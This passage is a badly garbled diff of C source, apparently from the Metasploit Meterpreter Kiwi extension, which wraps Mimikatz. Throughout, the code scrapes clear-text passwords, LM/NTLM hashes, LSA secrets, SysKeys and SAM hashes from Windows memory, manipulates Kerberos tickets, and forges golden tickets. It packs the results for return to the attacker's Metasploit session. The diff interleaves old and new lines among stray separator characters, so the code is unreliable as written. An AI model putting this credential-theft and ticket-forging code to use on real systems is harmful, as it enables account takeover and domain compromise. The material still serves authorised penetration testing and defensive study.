extern LONG kuhl_m_kerberos_create_golden_ticket(PCWCHAR szUser, PCWCHAR szDomain, PCWCHAR szSid, PCWCHAR szNtlm, PBYTE* ticketBuffer, DWORD* ticketBufferSize);
|
||||||
extern LONG kuhl_m_kerberos_purge_ticket();
|
extern LONG kuhl_m_kerberos_purge_ticket();
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief Attempt to determine if the given string is a valid Unicode string.
|
||||||
|
* @param dwBytes The number of bytes in the given secret value.
|
||||||
|
* @param pSecret Pointer to the byte sequence representing the secret value.
|
||||||
|
* @returns Indication of whether the value is a proper unicode string.
|
||||||
|
*/
|
||||||
BOOL is_unicode_string(DWORD dwBytes, LPVOID pSecret)
|
BOOL is_unicode_string(DWORD dwBytes, LPVOID pSecret)
|
||||||
{
|
{
|
||||||
UNICODE_STRING candidateString = { (USHORT)dwBytes, (USHORT)dwBytes, (PWSTR)pSecret };
|
UNICODE_STRING candidateString = { (USHORT)dwBytes, (USHORT)dwBytes, (PWSTR)pSecret };
|
||||||
@ -37,7 +58,18 @@ BOOL is_unicode_string(DWORD dwBytes, LPVOID pSecret)
|
|||||||
return pSecret && IsTextUnicode(candidateString.Buffer, candidateString.Length, &unicodeTestFlags);
|
return pSecret && IsTextUnicode(candidateString.Buffer, candidateString.Length, &unicodeTestFlags);
|
||||||
}
|
}
|
||||||
|
|
||||||
void CALLBACK handle_result(IN CONST PLUID luid, IN CONST PUNICODE_STRING username, IN CONST PUNICODE_STRING domain,
|
/*!
|
||||||
|
* @brief Callback function that handles a password enumeration result.
|
||||||
|
* @param luid The locally unique identifier for this credential entry.
|
||||||
|
* @param username The name of the user for this credential.
|
||||||
|
* @param domain The active domain for this credential.
|
||||||
|
* @param password The clear-text password for this credential.
|
||||||
|
* @param lm Pointer to the LM hash.
|
||||||
|
* @param ntlm Pointer to the NTLM hash.
|
||||||
|
* @param pvData Pointer to context-data for this callback. In this case it contains
|
||||||
|
* a pointer to the current Packet to add the entry to.
|
||||||
|
*/
|
||||||
|
void CALLBACK credential_result_handler(IN CONST PLUID luid, IN CONST PUNICODE_STRING username, IN CONST PUNICODE_STRING domain,
|
||||||
IN CONST PUNICODE_STRING password, IN CONST PBYTE lm, IN CONST PBYTE ntlm, IN OUT LPVOID pvData)
|
IN CONST PUNICODE_STRING password, IN CONST PBYTE lm, IN CONST PBYTE ntlm, IN OUT LPVOID pvData)
|
||||||
{
|
{
|
||||||
UINT hi = 0;
|
UINT hi = 0;
|
||||||
@ -53,19 +85,19 @@ void CALLBACK handle_result(IN CONST PLUID luid, IN CONST PUNICODE_STRING userna
|
|||||||
if (username != NULL && username->Buffer != NULL && username->Length > 0)
|
if (username != NULL && username->Buffer != NULL && username->Length > 0)
|
||||||
{
|
{
|
||||||
dprintf("[KIWI] Adding username %u chars", username->Length);
|
dprintf("[KIWI] Adding username %u chars", username->Length);
|
||||||
lpUserName = packet_add_tlv_wstring_entry(&entries[count++], TLV_TYPE_KIWI_PWD_USERNAME, username->Buffer, username->Length);
|
lpUserName = packet_add_tlv_wstring_entry(&entries[count++], TLV_TYPE_KIWI_PWD_USERNAME, username->Buffer, username->Length / sizeof(wchar_t));
|
||||||
}
|
}
|
||||||
|
|
||||||
if (domain != NULL && domain->Buffer != NULL && domain->Length > 0)
|
if (domain != NULL && domain->Buffer != NULL && domain->Length > 0)
|
||||||
{
|
{
|
||||||
dprintf("[KIWI] Adding domain %u chars", domain->Length);
|
dprintf("[KIWI] Adding domain %u chars", domain->Length);
|
||||||
lpDomain = packet_add_tlv_wstring_entry(&entries[count++], TLV_TYPE_KIWI_PWD_DOMAIN, domain->Buffer, domain->Length);
|
lpDomain = packet_add_tlv_wstring_entry(&entries[count++], TLV_TYPE_KIWI_PWD_DOMAIN, domain->Buffer, domain->Length / sizeof(wchar_t));
|
||||||
}
|
}
|
||||||
|
|
||||||
if (password != NULL && password->Buffer != NULL && password->Length > 0)
|
if (password != NULL && password->Buffer != NULL && password->Length > 0)
|
||||||
{
|
{
|
||||||
dprintf("[KIWI] Adding password %u chars", password->Length);
|
dprintf("[KIWI] Adding password %u chars", password->Length);
|
||||||
lpPassword = packet_add_tlv_wstring_entry(&entries[count++], TLV_TYPE_KIWI_PWD_PASSWORD, password->Buffer, password->Length);
|
lpPassword = packet_add_tlv_wstring_entry(&entries[count++], TLV_TYPE_KIWI_PWD_PASSWORD, password->Buffer, password->Length / sizeof(wchar_t));
|
||||||
}
|
}
|
||||||
|
|
||||||
dprintf("[KIWI] Adding auth info");
|
dprintf("[KIWI] Adding auth info");
|
||||||
@ -105,11 +137,19 @@ void CALLBACK handle_result(IN CONST PLUID luid, IN CONST PUNICODE_STRING userna
|
|||||||
++count;
|
++count;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// don't add this value to the packet unless we have a username, because it's pointless
|
||||||
|
// otherwise and just adds noise/overhead to the comms
|
||||||
|
if (lpUserName && lstrlenA(lpUserName) > 0)
|
||||||
|
{
|
||||||
dprintf("[KIWI] Adding to packet");
|
dprintf("[KIWI] Adding to packet");
|
||||||
packet_add_tlv_group(packet, TLV_TYPE_KIWI_PWD_RESULT, entries, count);
|
packet_add_tlv_group(packet, TLV_TYPE_KIWI_PWD_RESULT, entries, count);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
dprintf("[KIWI] Ignoring result due to lack of username");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (lpUserName)
|
||||||
if (lpUserName != NULL)
|
|
||||||
{
|
{
|
||||||
free(lpUserName);
|
free(lpUserName);
|
||||||
}
|
}
|
||||||
@ -125,60 +165,68 @@ void CALLBACK handle_result(IN CONST PLUID luid, IN CONST PUNICODE_STRING userna
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
DWORD mimikatz_scrape_passwords(DWORD cmdId, Packet* packet)
|
/*!
|
||||||
|
* @brief Scrape credentials from memory.
|
||||||
|
* @param dwCmdId ID of the "command" which indicates which type of credential to steal.
|
||||||
|
* @param pResponse Pointer to the packet to add the results to.
|
||||||
|
* @returns Indication of success or failure.
|
||||||
|
*/
|
||||||
|
DWORD mimikatz_scrape_passwords(DWORD dwCmdId, Packet* pResponse)
|
||||||
{
|
{
|
||||||
switch (cmdId)
|
switch (dwCmdId)
|
||||||
{
|
{
|
||||||
case KIWI_PWD_ID_SEK_ALLPASS:
|
case KIWI_PWD_ID_SEK_ALLPASS:
|
||||||
{
|
{
|
||||||
dprintf("[KIWI] running all pass");
|
dprintf("[KIWI] running all pass");
|
||||||
return kuhl_m_sekurlsa_all_enum(handle_result, packet);
|
return kuhl_m_sekurlsa_all_enum(credential_result_handler, pResponse);
|
||||||
}
|
}
|
||||||
case KIWI_PWD_ID_SEK_WDIGEST:
|
case KIWI_PWD_ID_SEK_WDIGEST:
|
||||||
{
|
{
|
||||||
dprintf("[KIWI] running wdigest");
|
dprintf("[KIWI] running wdigest");
|
||||||
return kuhl_m_sekurlsa_wdigest_enum(handle_result, packet);
|
return kuhl_m_sekurlsa_wdigest_enum(credential_result_handler, pResponse);
|
||||||
}
|
}
|
||||||
case KIWI_PWD_ID_SEK_MSV:
|
case KIWI_PWD_ID_SEK_MSV:
|
||||||
{
|
{
|
||||||
dprintf("[KIWI] running msv");
|
dprintf("[KIWI] running msv");
|
||||||
return kuhl_m_sekurlsa_msv_enum(handle_result, packet);
|
return kuhl_m_sekurlsa_msv_enum(credential_result_handler, pResponse);
|
||||||
}
|
}
|
||||||
case KIWI_PWD_ID_SEK_KERBEROS:
|
case KIWI_PWD_ID_SEK_KERBEROS:
|
||||||
{
|
{
|
||||||
dprintf("[KIWI] running kerberos");
|
dprintf("[KIWI] running kerberos");
|
||||||
return kuhl_m_sekurlsa_kerberos_enum(handle_result, packet);
|
return kuhl_m_sekurlsa_kerberos_enum(credential_result_handler, pResponse);
|
||||||
}
|
}
|
||||||
case KIWI_PWD_ID_SEK_TSPKG:
|
case KIWI_PWD_ID_SEK_TSPKG:
|
||||||
{
|
{
|
||||||
dprintf("[KIWI] running tspkg");
|
dprintf("[KIWI] running tspkg");
|
||||||
return kuhl_m_sekurlsa_tspkg_enum(handle_result, packet);
|
return kuhl_m_sekurlsa_tspkg_enum(credential_result_handler, pResponse);
|
||||||
}
|
}
|
||||||
case KIWI_PWD_ID_SEK_LIVESSP:
|
case KIWI_PWD_ID_SEK_LIVESSP:
|
||||||
{
|
{
|
||||||
dprintf("[KIWI] running livessp");
|
dprintf("[KIWI] running livessp");
|
||||||
return kuhl_m_sekurlsa_livessp_enum(handle_result, packet);
|
return kuhl_m_sekurlsa_livessp_enum(credential_result_handler, pResponse);
|
||||||
}
|
}
|
||||||
case KIWI_PWD_ID_SEK_SSP:
|
case KIWI_PWD_ID_SEK_SSP:
|
||||||
{
|
{
|
||||||
dprintf("[KIWI] running ssp");
|
dprintf("[KIWI] running ssp");
|
||||||
return kuhl_m_sekurlsa_ssp_enum(handle_result, packet);
|
return kuhl_m_sekurlsa_ssp_enum(credential_result_handler, pResponse);
|
||||||
}
|
|
||||||
case KIWI_PWD_ID_SEK_TICKETS:
|
|
||||||
{
|
|
||||||
dprintf("[KIWI] running tickets");
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
case KIWI_PWD_ID_SEK_DPAPI:
|
|
||||||
{
|
|
||||||
dprintf("[KIWI] running dpapi");
|
|
||||||
break;
|
|
||||||
}
|
}
|
||||||
|
// TODO: Enable this function soon
|
||||||
|
//case KIWI_PWD_ID_SEK_DPAPI:
|
||||||
|
//{
|
||||||
|
// dprintf("[KIWI] running dpapi");
|
||||||
|
// break;
|
||||||
|
//}
|
||||||
}
|
}
|
||||||
|
|
||||||
return ERROR_INVALID_PARAMETER;
|
return ERROR_INVALID_PARAMETER;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief Helper function that converts an ASCII string to a wchar_t string.
|
||||||
|
* @param ascii The ASCII version of the string.
|
||||||
|
* @returns An allocated buffer with the convert string in it.
|
||||||
|
* @remark If the return result is non-NULL then it needs to be released using \c free().
|
||||||
|
*/
|
||||||
wchar_t* ascii_to_wide_string(char* ascii)
|
wchar_t* ascii_to_wide_string(char* ascii)
|
||||||
{
|
{
|
||||||
size_t requiredChars = strlen(ascii) + 1;
|
size_t requiredChars = strlen(ascii) + 1;
|
||||||
@ -191,6 +239,11 @@ wchar_t* ascii_to_wide_string(char* ascii)
|
|||||||
return buffer;
|
return buffer;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief Helper function that converts a LARGE_INTEGER time value to a string.
|
||||||
|
* @param time The value of the time to conver to string.
|
||||||
|
* @param output Buffer that will contain the resulting string.
|
||||||
|
*/
|
||||||
VOID to_system_time_string(LARGE_INTEGER time, char output[TIME_SIZE])
|
VOID to_system_time_string(LARGE_INTEGER time, char output[TIME_SIZE])
|
||||||
{
|
{
|
||||||
SYSTEMTIME st;
|
SYSTEMTIME st;
|
||||||
@ -203,7 +256,13 @@ VOID to_system_time_string(LARGE_INTEGER time, char output[TIME_SIZE])
|
|||||||
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, st.wMilliseconds);
|
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, st.wMilliseconds);
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID TicketHandler(LPVOID lpContext, PKERB_TICKET_CACHE_INFO_EX pKerbTicketInfo, PKERB_EXTERNAL_TICKET pExternalTicket)
|
/*!
|
||||||
|
* @brief Callback for handling kerberos tickets that are found and are to be returned to Metasploit.
|
||||||
|
* @param lpContext Pointer to the associated enumeration context, in this case it's a Packet*.
|
||||||
|
* @param pKerbTicketInfo Pointer to the kerberos ticket information structure that was found.
|
||||||
|
* @param pExternalTicket Pointer to the external ticket that contains the raw bytes of the ticket that was found.
|
||||||
|
*/
|
||||||
|
VOID kerberos_ticket_handler(LPVOID lpContext, PKERB_TICKET_CACHE_INFO_EX pKerbTicketInfo, PKERB_EXTERNAL_TICKET pExternalTicket)
|
||||||
{
|
{
|
||||||
Packet* packet = (Packet*)lpContext;
|
Packet* packet = (Packet*)lpContext;
|
||||||
|
|
||||||
@ -290,75 +349,105 @@ VOID TicketHandler(LPVOID lpContext, PKERB_TICKET_CACHE_INFO_EX pKerbTicketInfo,
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
DWORD mimikatz_kerberos_ticket_list(BOOL bExport, Packet* response)
|
/*!
|
||||||
|
* @brief Enumerate all kerberos tickets.
|
||||||
|
* @param bExport Indicates whether the raw tickets should be exported or not.
|
||||||
|
* @param pResponse Pointer to the packet which the results shoudl be added to.
|
||||||
|
* @returns Indication of success or failure.
|
||||||
|
*/
|
||||||
|
DWORD mimikatz_kerberos_ticket_list(BOOL bExport, Packet* pResponse)
|
||||||
{
|
{
|
||||||
KERB_CALLBACK_CTX callbackCtx;
|
KERB_CALLBACK_CTX callbackCtx;
|
||||||
|
|
||||||
callbackCtx.lpContext = response;
|
callbackCtx.lpContext = pResponse;
|
||||||
callbackCtx.pTicketHandler = TicketHandler;
|
callbackCtx.pTicketHandler = kerberos_ticket_handler;
|
||||||
|
|
||||||
return kuhl_m_kerberos_list_tickets(&callbackCtx, bExport);
|
return kuhl_m_kerberos_list_tickets(&callbackCtx, bExport);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief Purge all applied kerberos tickets.
|
||||||
|
* @returns Indication of success or failure.
|
||||||
|
*/
|
||||||
DWORD mimikatz_kerberos_ticket_purge()
|
DWORD mimikatz_kerberos_ticket_purge()
|
||||||
{
|
{
|
||||||
return kuhl_m_kerberos_purge_ticket();
|
return kuhl_m_kerberos_purge_ticket();
|
||||||
}
|
}
|
||||||
|
|
||||||
DWORD mimikatz_kerberos_golden_ticket_create(char* user, char* domain, char* sid, char* tgt, Packet* response)
|
/*!
|
||||||
|
* @brief Create a golden kerberos ticket which lasts for 10 years (apparently).
|
||||||
|
* @param lpUser Name of the user to create the ticket for.
|
||||||
|
* @param lpDomain Name of the domain the ticket should apply to.
|
||||||
|
* @param lpSid The Domain SID.
|
||||||
|
* @param lpTgt The ticket granting token.
|
||||||
|
* @param pResponse Pointer to the packet which the results should be added to.
|
||||||
|
* @returns Indication of success or failure.
|
||||||
|
*/
|
||||||
|
DWORD mimikatz_kerberos_golden_ticket_create(char* lpUser, char* lpDomain, char* lpSid, char* lpTgt, Packet* pResponse)
|
||||||
{
|
{
|
||||||
DWORD result = 0;
|
DWORD result = 0;
|
||||||
BYTE* ticketBuffer;
|
BYTE* ticketBuffer;
|
||||||
DWORD ticketBufferSize;
|
DWORD ticketBufferSize;
|
||||||
wchar_t* wUser = ascii_to_wide_string(user);
|
wchar_t* lpwUser = ascii_to_wide_string(lpUser);
|
||||||
wchar_t* wDomain = ascii_to_wide_string(domain);
|
wchar_t* lpwDomain = ascii_to_wide_string(lpDomain);
|
||||||
wchar_t* wSid = ascii_to_wide_string(sid);
|
wchar_t* lpwSid = ascii_to_wide_string(lpSid);
|
||||||
wchar_t* wTgt = ascii_to_wide_string(tgt);
|
wchar_t* lpwTgt = ascii_to_wide_string(lpTgt);
|
||||||
|
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
if (!wUser || !wDomain || !wSid || !wTgt)
|
if (!lpwUser || !lpwDomain || !lpwSid || !lpwTgt)
|
||||||
{
|
{
|
||||||
dprintf("[MIMIKTAZ] Out of memory");
|
dprintf("[KIWI] Out of memory");
|
||||||
result = ERROR_NOT_ENOUGH_MEMORY;
|
result = ERROR_NOT_ENOUGH_MEMORY;
|
||||||
}
|
}
|
||||||
|
|
||||||
result = kuhl_m_kerberos_create_golden_ticket(wUser, wDomain, wSid, wTgt, &ticketBuffer, &ticketBufferSize);
|
result = kuhl_m_kerberos_create_golden_ticket(lpwUser, lpwDomain, lpwSid, lpwTgt, &ticketBuffer, &ticketBufferSize);
|
||||||
if (result != ERROR_SUCCESS)
|
if (result != ERROR_SUCCESS)
|
||||||
{
|
{
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
packet_add_tlv_raw(response, TLV_TYPE_KIWI_KERB_TKT_RAW, ticketBuffer, ticketBufferSize);
|
packet_add_tlv_raw(pResponse, TLV_TYPE_KIWI_KERB_TKT_RAW, ticketBuffer, ticketBufferSize);
|
||||||
} while (0);
|
} while (0);
|
||||||
|
|
||||||
if (wUser)
|
if (lpwUser)
|
||||||
{
|
{
|
||||||
free(wUser);
|
free(lpwUser);
|
||||||
}
|
}
|
||||||
if (wDomain)
|
if (lpwDomain)
|
||||||
{
|
{
|
||||||
free(wDomain);
|
free(lpwDomain);
|
||||||
}
|
}
|
||||||
if (wSid)
|
if (lpwSid)
|
||||||
{
|
{
|
||||||
free(wSid);
|
free(lpwSid);
|
||||||
}
|
}
|
||||||
if (wTgt)
|
if (lpwTgt)
|
||||||
{
|
{
|
||||||
free(wTgt);
|
free(lpwTgt);
|
||||||
}
|
}
|
||||||
|
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
DWORD mimikatz_kerberos_ticket_use(BYTE* buffer, DWORD bufferSize)
|
/*!
|
||||||
|
* @brief Apply the given kerberos ticket to the current session.
|
||||||
|
* @param lpBuffer Pointer to the ticket content.
|
||||||
|
* @param dwBufferSize The size of the data in the ticket buffer.
|
||||||
|
* @returns Indication of success or failure.
|
||||||
|
*/
|
||||||
|
DWORD mimikatz_kerberos_ticket_use(LPBYTE lpBuffer, DWORD dwBufferSize)
|
||||||
{
|
{
|
||||||
return kuhl_m_kerberos_use_ticket(buffer, bufferSize);
|
return kuhl_m_kerberos_use_ticket(lpBuffer, dwBufferSize);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/*!
|
||||||
VOID PolicyVersionHandler(LPVOID lpContext, USHORT usMajor, USHORT usMinor)
|
* @brief Callback handler for policy version information.
|
||||||
|
* @param lpContext Pointer to the callback context, which in this case is the Packet*.
|
||||||
|
* @param usMajor The major version number for the policy subsystem.
|
||||||
|
* @param usMinor The minor version number for the policy subsystem.
|
||||||
|
*/
|
||||||
|
VOID policy_version_handler(LPVOID lpContext, USHORT usMajor, USHORT usMinor)
|
||||||
{
|
{
|
||||||
Packet *response = (Packet*)lpContext;
|
Packet *response = (Packet*)lpContext;
|
||||||
|
|
||||||
@ -368,14 +457,25 @@ VOID PolicyVersionHandler(LPVOID lpContext, USHORT usMajor, USHORT usMinor)
|
|||||||
packet_add_tlv_uint(response, TLV_TYPE_KIWI_LSA_VER_MIN, (UINT)usMinor);
|
packet_add_tlv_uint(response, TLV_TYPE_KIWI_LSA_VER_MIN, (UINT)usMinor);
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID Nt5KeyHandler(LPVOID lpContext, DWORD dwIndex, PNT5_SYSTEM_KEY pSysKey)
|
/*!
|
||||||
|
* @brief Callback handler for NT5 key results.
|
||||||
|
* @param lpContext Pointer to the callback context, which in this case is the Packet*.
|
||||||
|
* @param pSysKey Pointer to the key that has been located.
|
||||||
|
*/
|
||||||
|
VOID nt5_key_handler(LPVOID lpContext, PNT5_SYSTEM_KEY pSysKey)
|
||||||
{
|
{
|
||||||
Packet *response = (Packet*)lpContext;
|
Packet *response = (Packet*)lpContext;
|
||||||
dprintf("[KIWI LSA] nt5 Key");
|
dprintf("[KIWI LSA] nt5 Key");
|
||||||
packet_add_tlv_raw(response, TLV_TYPE_KIWI_LSA_NT5KEY, pSysKey->key, sizeof(NT5_SYSTEM_KEY));
|
packet_add_tlv_raw(response, TLV_TYPE_KIWI_LSA_NT5KEY, pSysKey->key, sizeof(NT5_SYSTEM_KEY));
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID Nt6KeyHandler(LPVOID lpContext, DWORD dwIndex, PNT6_SYSTEM_KEY pSysKey)
|
/*!
|
||||||
|
* @brief Callback handler for NT6 key results.
|
||||||
|
* @param lpContext Pointer to the callback context, which in this case is the Packet*.
|
||||||
|
* @param dwIndex The index of the key in the array of keys found.
|
||||||
|
* @param pSysKey Pointer to the key that has been located.
|
||||||
|
*/
|
||||||
|
VOID nt6_key_handler(LPVOID lpContext, DWORD dwIndex, PNT6_SYSTEM_KEY pSysKey)
|
||||||
{
|
{
|
||||||
Tlv entities[3];
|
Tlv entities[3];
|
||||||
Packet *response = (Packet*)lpContext;
|
Packet *response = (Packet*)lpContext;
|
||||||
@ -399,33 +499,63 @@ VOID Nt6KeyHandler(LPVOID lpContext, DWORD dwIndex, PNT6_SYSTEM_KEY pSysKey)
|
|||||||
packet_add_tlv_group(response, TLV_TYPE_KIWI_LSA_NT6KEY, entities, 3);
|
packet_add_tlv_group(response, TLV_TYPE_KIWI_LSA_NT6KEY, entities, 3);
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID Nt6KeyStreamHandler(LPVOID lpContext, PNT6_SYSTEM_KEYS pSysKeyStream)
|
/*!
|
||||||
|
* @brief Callback handler for NT6 key streams.
|
||||||
|
* @param lpContext Pointer to the callback context, which in this case is the Packet*.
|
||||||
|
* @param pSysKeyStream Pointer to the key that has been located.
|
||||||
|
* @remark This function probably isn't necessary in the grand scheme of things as it doesn't
|
||||||
|
* contain anything other than the count. Leaving it in for now though.
|
||||||
|
*/
|
||||||
|
VOID nt6_key_stream_handler(LPVOID lpContext, PNT6_SYSTEM_KEYS pSysKeyStream)
|
||||||
{
|
{
|
||||||
Packet *response = (Packet*)lpContext;
|
Packet *response = (Packet*)lpContext;
|
||||||
dprintf("[KIWI LSA] nt6 Key stream: %u keys", pSysKeyStream->nbKeys);
|
dprintf("[KIWI LSA] nt6 Key stream: %u keys", pSysKeyStream->nbKeys);
|
||||||
packet_add_tlv_uint(response, TLV_TYPE_KIWI_LSA_KEYCOUNT, pSysKeyStream->nbKeys);
|
packet_add_tlv_uint(response, TLV_TYPE_KIWI_LSA_KEYCOUNT, pSysKeyStream->nbKeys);
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID CompNameHandler(LPVOID lpContext, wchar_t* lpwComputerName)
|
/*!
|
||||||
|
* @brief Callback handler for the resulting computer name.
|
||||||
|
* @param lpContext Pointer to the callback context, which in this case is the Packet*.
|
||||||
|
* @param lpwComputerName Pointer to the computer name.
|
||||||
|
*/
|
||||||
|
VOID comp_name_handler(LPVOID lpContext, wchar_t* lpwComputerName)
|
||||||
{
|
{
|
||||||
Packet *response = (Packet*)lpContext;
|
Packet *response = (Packet*)lpContext;
|
||||||
|
|
||||||
dprintf("[KIWI LSA] Computer Name: %S", lpwComputerName);
|
dprintf("[KIWI LSA] Computer Name: %S", lpwComputerName);
|
||||||
packet_add_tlv_wstring(response, TLV_TYPE_KIWI_LSA_COMPNAME, lpwComputerName);
|
packet_add_tlv_wstring(response, TLV_TYPE_KIWI_LSA_COMPNAME, lpwComputerName);
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID SysKeyHandler(LPVOID lpContext, LPBYTE pKey, DWORD dwKeyLen)
|
/*!
|
||||||
|
* @brief Callback handler for the system key result
|
||||||
|
* @param lpContext Pointer to the callback context, which in this case is the Packet*.
|
||||||
|
* @param pKey Pointer to the key data.
|
||||||
|
* @param dwKeyLen The length of the key data.
|
||||||
|
*/
|
||||||
|
VOID sys_key_handler(LPVOID lpContext, LPBYTE pKey, DWORD dwKeyLen)
|
||||||
{
|
{
|
||||||
Packet *response = (Packet*)lpContext;
|
Packet *response = (Packet*)lpContext;
|
||||||
dprintf("[KIWI LSA] SysKey: %u bytes", dwKeyLen);
|
dprintf("[KIWI LSA] SysKey: %u bytes", dwKeyLen);
|
||||||
packet_add_tlv_raw(response, TLV_TYPE_KIWI_LSA_SYSKEY, pKey, dwKeyLen);
|
packet_add_tlv_raw(response, TLV_TYPE_KIWI_LSA_SYSKEY, pKey, dwKeyLen);
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID SecretHandler(LPVOID lpContext, wchar_t* lpwSecretName, wchar_t* lpwServiceInfo, LPBYTE pMd4Digest, LPVOID pCurrent, DWORD dwCurrentSize, LPVOID pOld, DWORD dwOldSize)
|
/*!
|
||||||
|
* @brief Callback handler for an LSA secret result dump.
|
||||||
|
* @param lpContext Pointer to the callback context, which in this case is the Packet*.
|
||||||
|
* @param lpwSecretName The name of the dumped secret.
|
||||||
|
* @param lpwServiceInfo Information about the dumped service secret.
|
||||||
|
* @param pMd4Digest Pointer to the MD4 digest associated with this secret.
|
||||||
|
* @param pCurrent Pointer to the current secret value.
|
||||||
|
* @param dwCurrentSize Size of the data pointed to by pCurrent.
|
||||||
|
* @param pOld Pointer to the old/previous secret value.
|
||||||
|
* @param dwOldSize Size of the data pointed to by pOld.
|
||||||
|
*/
|
||||||
|
VOID lsa_secret_handler(LPVOID lpContext, wchar_t* lpwSecretName, wchar_t* lpwServiceInfo, LPBYTE pMd4Digest, LPVOID pCurrent, DWORD dwCurrentSize, LPVOID pOld, DWORD dwOldSize)
|
||||||
{
|
{
|
||||||
Tlv entries[5];
|
Tlv entries[5];
|
||||||
DWORD dwCount = 0;
|
DWORD dwCount = 0;
|
||||||
Packet *response = (Packet*)lpContext;
|
Packet *response = (Packet*)lpContext;
|
||||||
LPSTR lpServiceInfo = NULL, lpCurrent = NULL, lpOld = NULL;
|
LPSTR lpSecretName = NULL, lpServiceInfo = NULL, lpCurrent = NULL, lpOld = NULL;
|
||||||
|
|
||||||
dprintf("[KIWI LSA] Handling secret: %S", lpwSecretName);
|
dprintf("[KIWI LSA] Handling secret: %S", lpwSecretName);
|
||||||
|
|
||||||
@ -436,7 +566,7 @@ VOID SecretHandler(LPVOID lpContext, wchar_t* lpwSecretName, wchar_t* lpwService
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
packet_add_tlv_wstring_entry(&entries[dwCount++], TLV_TYPE_KIWI_LSA_SECRET_NAME, lpwSecretName, 0);
|
lpSecretName = packet_add_tlv_wstring_entry(&entries[dwCount++], TLV_TYPE_KIWI_LSA_SECRET_NAME, lpwSecretName, 0);
|
||||||
|
|
||||||
if (lpwServiceInfo)
|
if (lpwServiceInfo)
|
||||||
{
|
{
|
||||||
@ -485,6 +615,10 @@ VOID SecretHandler(LPVOID lpContext, wchar_t* lpwSecretName, wchar_t* lpwService
|
|||||||
|
|
||||||
packet_add_tlv_group(response, TLV_TYPE_KIWI_LSA_SECRET, entries, dwCount);
|
packet_add_tlv_group(response, TLV_TYPE_KIWI_LSA_SECRET, entries, dwCount);
|
||||||
|
|
||||||
|
if (lpSecretName != NULL)
|
||||||
|
{
|
||||||
|
free(lpSecretName);
|
||||||
|
}
|
||||||
if (lpServiceInfo != NULL)
|
if (lpServiceInfo != NULL)
|
||||||
{
|
{
|
||||||
free(lpServiceInfo);
|
free(lpServiceInfo);
|
||||||
@ -499,13 +633,24 @@ VOID SecretHandler(LPVOID lpContext, wchar_t* lpwSecretName, wchar_t* lpwService
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID SamHashHandler(LPVOID lpContext, DWORD dwRid, wchar_t* lpwUser, DWORD dwUserLength, BOOL hasLmHash, BYTE lmHash[LM_NTLM_HASH_LENGTH], BOOL hasNtlmHash, BYTE ntlmHash[LM_NTLM_HASH_LENGTH])
|
/*!
|
||||||
|
* @brief Callback handler for a dumped SAM hash.
|
||||||
|
* @param lpContext Pointer to the callback context, which in this case is the Packet*.
|
||||||
|
* @param dwRid The RID of the SAM.
|
||||||
|
* @param lpwUser Pointer to the user associated with the SAM.
|
||||||
|
* @param hasLmHash Indication of whether an LM hash was found.
|
||||||
|
* @param lmHash The LM has bytes, if found.
|
||||||
|
* @param hasNtlmHash Indication of whether an NTLM hash was found.
|
||||||
|
* @param ntlmHash The NTLM has bytes, if found.
|
||||||
|
*/
|
||||||
|
VOID sam_hash_handler(LPVOID lpContext, DWORD dwRid, wchar_t* lpwUser, DWORD dwUserLength, BOOL hasLmHash, BYTE lmHash[LM_NTLM_HASH_LENGTH], BOOL hasNtlmHash, BYTE ntlmHash[LM_NTLM_HASH_LENGTH])
|
||||||
{
|
{
|
||||||
Tlv entries[4];
|
Tlv entries[4];
|
||||||
DWORD dwCount = 0;
|
DWORD dwCount = 0;
|
||||||
Packet *response = (Packet*)lpContext;
|
Packet *response = (Packet*)lpContext;
|
||||||
LPSTR lpSamUser = NULL;
|
LPSTR lpSamUser = NULL;
|
||||||
|
|
||||||
|
// only add the result if we have one of the hashes and a user name.
|
||||||
if ((hasLmHash || hasNtlmHash) && lpwUser)
|
if ((hasLmHash || hasNtlmHash) && lpwUser)
|
||||||
{
|
{
|
||||||
dprintf("[KIWI SAM] Adding %S rid %u (%x)", lpwUser, dwRid, dwRid);
|
dprintf("[KIWI SAM] Adding %S rid %u (%x)", lpwUser, dwRid, dwRid);
|
||||||
@ -548,22 +693,27 @@ VOID SamHashHandler(LPVOID lpContext, DWORD dwRid, wchar_t* lpwUser, DWORD dwUse
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
DWORD mimikatz_lsa_dump_secrets(Packet* response)
|
/*!
|
||||||
|
* @brief Dump LSA secrets.
|
||||||
|
* @param pResponse Pointer to the packet that will contain the response.
|
||||||
|
* @returns Indication of success or failure.
|
||||||
|
*/
|
||||||
|
DWORD mimikatz_lsa_dump_secrets(Packet* pResponse)
|
||||||
{
|
{
|
||||||
LSA_CALLBACK_CTX callbackCtx;
|
LSA_CALLBACK_CTX callbackCtx;
|
||||||
ZeroMemory(&callbackCtx, sizeof(callbackCtx));
|
ZeroMemory(&callbackCtx, sizeof(callbackCtx));
|
||||||
|
|
||||||
// we want the context to be the packet, so that elements
|
// we want the context to be the packet, so that elements
|
||||||
// can be added directly to the packet
|
